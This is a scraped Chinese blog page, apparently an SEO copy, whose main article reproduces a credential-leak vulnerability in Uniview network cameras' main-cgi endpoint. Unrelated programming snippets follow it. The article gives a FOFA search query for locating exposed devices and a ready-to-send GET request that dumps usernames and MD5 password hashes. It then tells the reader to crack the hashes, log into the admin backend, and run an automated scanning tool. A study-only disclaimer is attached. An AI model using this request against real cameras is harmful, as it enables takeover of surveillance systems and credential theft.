当前位置： 首页 > news >正文

用jsp做网站的难点/手机网页设计制作网站

news 文章来源：https://blog.csdn.net/holyxp/article/details/134951664 2025/3/20 18:16:43
用jsp做网站的难点,手机网页设计制作网站,制作离婚证的小程序,用asp做网站出现空白宇视科技视频监控 main-cgi 文件信息泄露漏洞 一、产品简介二、漏概述三、复现环境四、漏洞检测手工抓包自动化检测 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#…

宇视科技视频监控 main-cgi 文件信息泄露漏洞

  • 一、产品简介
  • 二、漏概述
  • 三、复现环境
  • 四、漏洞检测
    • 手工抓包
    • 自动化检测

免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

一、产品简介

宇视(Uniview)高清网络摄像机是一种高性能的网络摄像机，它可以通过网络进行视频传输和监控。该摄像机采用先进的视频技术，具有高清晰度、低照度、宽动态等特点，能够提供高质量的视频图像。
在这里插入图片描述

二、漏概述

宇视(Uniview)高清网络摄像机存在信息泄露漏洞，攻击者可以通过解密泄露信息获取管理员账号密码，登陆后台控制整个系统，最终导致系统处于极度不安全状态。

三、复现环境

FOFA: app=“uniview-视频监控”

在这里插入图片描述

四、漏洞检测

POC

GET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1}" HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

手工抓包

如果回显200 ok，并且能看到有UserName关键字的，说明成功

在这里插入图片描述
我们也可以看到，密码部分是md5加密的，需要去解密

在这里插入图片描述
直接登录后台

在这里插入图片描述
如果你遇到了插件异常

请直接使用IE浏览器访问

自动化检测

小龙POC这里依然还是顶着干
小龙POC开源传送门: 小龙POC工具

小龙POCexe传送门: 小龙POC工具

在这里插入图片描述

相关文章：

宇视科技视频监控 main-cgi 文件信息泄露漏洞

宇视科技视频监控 main-cgi 文件信息泄露漏洞 一、产品简介二、漏概述三、复现环境四、漏洞检测手工抓包自动化检测 免责声明：请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失&#…...

编程日记 2023/12/13 6:18:42

【数学建模】《实战数学建模：例题与讲解》第十一讲-因子分析、聚类与主成分（含Matlab代码）

【数学建模】《实战数学建模：例题与讲解》第十一讲-因子分析、聚类与主成分（含Matlab代码） 基本概念聚类分析Q型聚类分析R型聚类分析 主成分分析因子分析 习题10.11. 题目要求2.解题过程3.程序4.结果 习题10.21. 题目要求2.解题过程3.程序4.结…...

编程日记 2023/12/13 6:16:40

Python查找列表中不重复的数字

Python每日一练 文章目录 Python每日一练问题：函数输入函数输出 代码实现示例输入：示例输出： 总结 问题： 编写一个程序来查找列表中不重复的数字。 定义函数find_unique()，它接受一个列表作为参数。 在函数内部&…...

编程日记 2023/12/13 6:15:38

用docker创建jmeter容器，如何实现性能测试？

用 docker 创建 jmeter 容器, 实现性能测试 我们都知道，jmeter可以做接口测试，也可以用于性能测试，现在企业中性能测试也大多使用jmeter。docker是最近这些年流行起来的容器部署工具，可以创建一个容器，然后把项目放到…...

编程日记 2023/12/13 6:14:37

pytest-fixtured自动化测试详解

fixture的作用 1.同unittest的setup和teardown,作为测试前后的初始化设置。 fixture的使用 1.作为前置条件使用 2.fixture的的作用范围 1.作为前置条件使用 pytest.fixture() def a():return 3def test_b(a):assert a3 2.fixture的作用范围 首先实例化更高范围的fixture…...

编程日记 2023/12/13 6:13:36

计算机网络：应用层（一）

我最近开了几个专栏，诚信互三！ > |||《算法专栏》：：刷题教程来自网站《代码随想录》。||| > |||《C专栏》：：记录我学习C的经历，看完你一定会有收获。||| > |||《Linux专栏》&#xff1…...

编程日记 2023/12/13 6:12:35

mybatis的快速入门以及spring boot整合mybatis（二）

需要用到的SQL脚本： CREATE TABLE dept (id int unsigned PRIMARY KEY AUTO_INCREMENT COMMENT ID, 主键,name varchar(10) NOT NULL UNIQUE COMMENT 部门名称,create_time datetime DEFAULT NULL COMMENT 创建时间,update_time datetime DEFAULT NULL COMMENT 修改…...

编程日记 2023/12/13 6:11:35

lua基本语法使用

Lua 是一个小巧的脚本语言。Lua由标准C编写而成，几乎在所有操作系统和平台上都可以编译，运行。Lua并没有提供强大的库，这是由它的定位决定的。所以Lua不适合作为开发独立应用程序的语言。 1.基本语法 注解 -- 单行 -- [[ ]] -- 多行 …...

编程日记 2023/12/13 6:09:31

Git远程操作

目录 1.远程操作 1.1理解分布式版本控制系统 1.2远程仓库. 1.2.1新建远程仓库 1.2.2克隆远程仓库 1.2.3向远程仓库推送 1.2.4拉取远程仓库 1.3配置Git 1.3.1忽略特殊文件 1.3.2给命令配置别名 2.标签管理 2.1理解标签 2.2创建标签 2.3操作标签 1.远程操作 1.1理…...

编程日记 2023/12/13 6:07:29

链表基础知识（一、单链表）

一、链表表示和实现 顺序表的问题及思考 问题： 1. 中间/头部的插入删除，时间复杂度为O(N) 2. 增容需要申请新空间，拷贝数据，释放旧空间。会有不小的消耗。 3. 增容一般是呈2倍的增长，势必会有一定的空间浪费。例如当…...

编程日记 2023/12/13 6:06:29

mysql的ON DELETE CASCADE 和ON DELETE RESTRICT区别

​​ON DELETE CASCADE​​​ 和 ​​ON DELETE RESTRICT​​ 是 MySQL 中两种不同的外键约束级联操作。它们之间的主要区别在于当主表中的记录被删除时，子表中相关记录的处理方式。 ON DELETE CASCADE: 当在主表中删除一条记录时，所有与之相关的子表中…...

编程日记 2023/12/13 6:04:27

如何快速将图片转为excel？

一、打开金鸣表格文字识别软件。 二、点击添加文件按钮，在打开的窗口中选择目标图片，然后点击“打开”，将图片添加进待识别的列表中。 三、点击提交识别或识别全部。 四、识别完成后点击“打开文件”即可打开识别好的结果文件（EXC…...

编程日记 2023/12/13 6:03:26

元编程(Metaprogramming)

本章将介绍第8️⃣种编程范式---元编程，以及它的优缺点、案例分析和小项目的代码示例。 优点 元编程的优点： 灵活性和可重用性：元编程允许在运行时生成代码，使得程序更加灵活和可重用。可以根据需要动态生成代码片段&#xff0…...

编程日记 2023/12/13 6:02:25

IEEE Transactions on Industrial Electronics工业电子TIE论文投稿须知

一、背景 IEEE TIE作为控制领域的TOP期刊，接收机器人、控制、自动驾驶、仪器和传感等方面的论文，当然范围不止这些，感兴趣的可以自行登录TIE官网查看。所投稿论文必须经过实验验证，偏工程应用类，当然也必须有方法上的…...

编程日记 2023/12/13 5:59:22

Linux--操作系统

1. 常见的操作系统 Windowsmac OSLinuxiOSAndroid 2. 操作系统的定义 操作系统直接运行在计算机上的系统软件， 它是控制硬件和支持软件运行的计算机程序。 3. 操作系统的作用 向下控制硬件向上支持软件的运行，具有承上启下的作用。 4.总结 操作系统…...

编程日记 2023/12/13 5:58:21

HarmonyOS—实现UserDataAbility

UserDataAbility接收其他应用发送的请求，提供外部程序访问的入口，从而实现应用间的数据访问。Data提供了文件存储和数据库存储两组接口供用户使用。 文件存储 开发者需要在Data中重写FileDescriptoropenFile(Uriuri,Stringmode)方法来操作文件&#xf…...

编程日记 2023/12/13 5:57:20

Java实现插入排序及其动图演示

插入排序是一种简单直观的排序算法。它的基本思想是将一个待排序的元素插入到已经排序好的序列中的适当位置，从而得到一个新的、元素个数加一的有序序列。 具体的插入排序算法过程如下： 从第一个元素开始，认为第一个元素已经是有序序列。取…...

编程日记 2023/12/13 5:56:19

设计模式——原型模式(创建型)

引言 原型模式是一种创建型设计模式， 使你能够复制已有对象， 而又无需使代码依赖它们所属的类。 问题 如果你有一个对象， 并希望生成与其完全相同的一个复制品， 你该如何实现呢？ 首先， 你必须新建一个属于…...

编程日记 2023/12/13 5:55:18

深眸科技以机器视觉高性能优势，为消费电子行业提供优质解决方案

机器视觉技术近年来发展迅速，基于计算机对图像的处理与分析，能够识别和辨别目标物体，被广泛应用于人工智能、智能制造等领域。 机器视觉凭借着高精度、高效率、灵活性和可靠性等优势，不断推进工业企业生产自动化和智能化进程&…...

编程日记 2023/12/13 5:54:18

React setState()的两种书写方法对比

在React中，setState()方法是一个非常重要的函数，用于更新组件的状态。它有两种常见的书写方式：对象解构赋值和使用函数。本文将对比这两种方法，并解释它们的优缺点和适用场景。 首先，让我们来看看对象解构赋值这种方法…...

编程日记 2023/12/13 5:53:17

orb-slam2学习总结

目录 视觉SLAM 1、地图初始化 2、ORB_SLAM地图初始化流程 3、ORB特征提取及匹配 1、对极几何 2、对极约束 （epipolar constraint） 3、基础矩阵F、本质矩阵E 5、单目尺度不确定性 6、单应矩阵（Homography Matrix） 6.1 什么是单应矩…...

编程日记 2023/12/13 5:52:16

通过wireshark判断web漏洞的流量特征

sql注入 定位http协议，通过查找get请求定位到关键字 抓到关键字union select xss 定位get请求的关键字 文件上传 找到对应的上传数据包，追踪tcp流 文件包含、文件读取 查看url找到包含的关键字 在根路径写入一个phpinfo(); 使用../进行目录遍…...

编程日记 2023/12/13 5:51:15

Command ‘npm‘ not found, but can be installed with:sudo apt install npm 解决方案

问题描述 今天在执行 npm install -g npx 报错 Command npm not found, but can be installed with: sudo apt install npm 解决方案 sudo apt-get remove npm sudo apt-get remove nodejs-legacy sudo apt-get remove nodejs sudo rm /usr/bin/node sudo apt-get install …...

编程日记 2023/12/13 5:50:14

【Hadoop_04】HDFS的API操作与读写流程

1、HDFS的API操作1.1 客户端环境准备1.2 API创建文件夹1.3 API上传1.4 API参数的优先级1.5 API文件夹下载1.6 API文件删除1.7 API文件更名和移动1.8 API文件详情和查看1.9 API文件和文件夹判断 2、HDFS的读写流程（面试重点）2.1 HDFS写数据流程2.2 网络拓…...

编程日记 2023/12/13 5:49:11

go-zero开发入门之网关往rpc服务传递数据

go-zero 的网关往 rpc 服务传递数据时，可以使用 headers，但需要注意前缀规则，否则会发现数据传递不过去，或者对方取不到数据。 go-zero 的网关对服务的调用使用了第三方库 grpcurl，入口函数为 InvokeRPC： …...

编程日记 2023/12/13 5:48:11

Word插件-好用的插件-批量插入图片-大珩助手

现有100张图片，需要批量插入word中，并在word中以每页6张图片的形式呈现，请问怎样做？ 使用word大珩助手，多媒体-插入图片，根据图片的长宽，选择连续图片、一行2个图或一行3个图，可一次…...

编程日记 2023/12/13 5:45:08

小程序域名SSL证书能用免费的吗？

众所周知，目前小程序要求域名强制使用https协议，否则无法上线。但是对于大多数开发者来说，为每一个小程序都使用上付费的SSL证书，也是一笔不小的支出。那么小程序能使用免费的SSL证书吗？ 答案是肯定的。目前市面上可选…...

编程日记 2023/12/13 5:44:08

selenium自动化（中）

显式等待与隐式等待 简介 在实际工作中等待机制可以保证代码的稳定性，保证代码不会受网速、电脑性能等条件的约束。 等待就是当运行代码时，如果页面的渲染速度跟不上代码的运行速度，就需要人为的去限制代码执行的速度。 在做 Web 自动化时…...

编程日记 2023/12/13 5:43:07

uniapp app将base64保存到相册,uniapp app将文件流保存到相册

如果是文件流可以先转base64详情见>uniapp 显示文件流图片-CSDN博客 onDown(){let base64 this.qrcodeUrl ; // base64地址const bitmap new plus.nativeObj.Bitmap("test");bitmap.loadBase64Data(base64, function() {const url "_doc/" new Dat…...

编程日记 2023/12/13 5:41:05

Navicat 技术指引 | 适用于 GaussDB 分布式的服务器对象的创建/设计

Navicat Premium（16.3.3 Windows版或以上）正式支持 GaussDB 分布式数据库。GaussDB分布式模式更适合对系统可用性和数据处理能力要求较高的场景。Navicat 工具不仅提供可视化数据查看和编辑功能，还提供强大的高阶功能（如模型、结构…...

编程日记 2023/12/13 5:39:02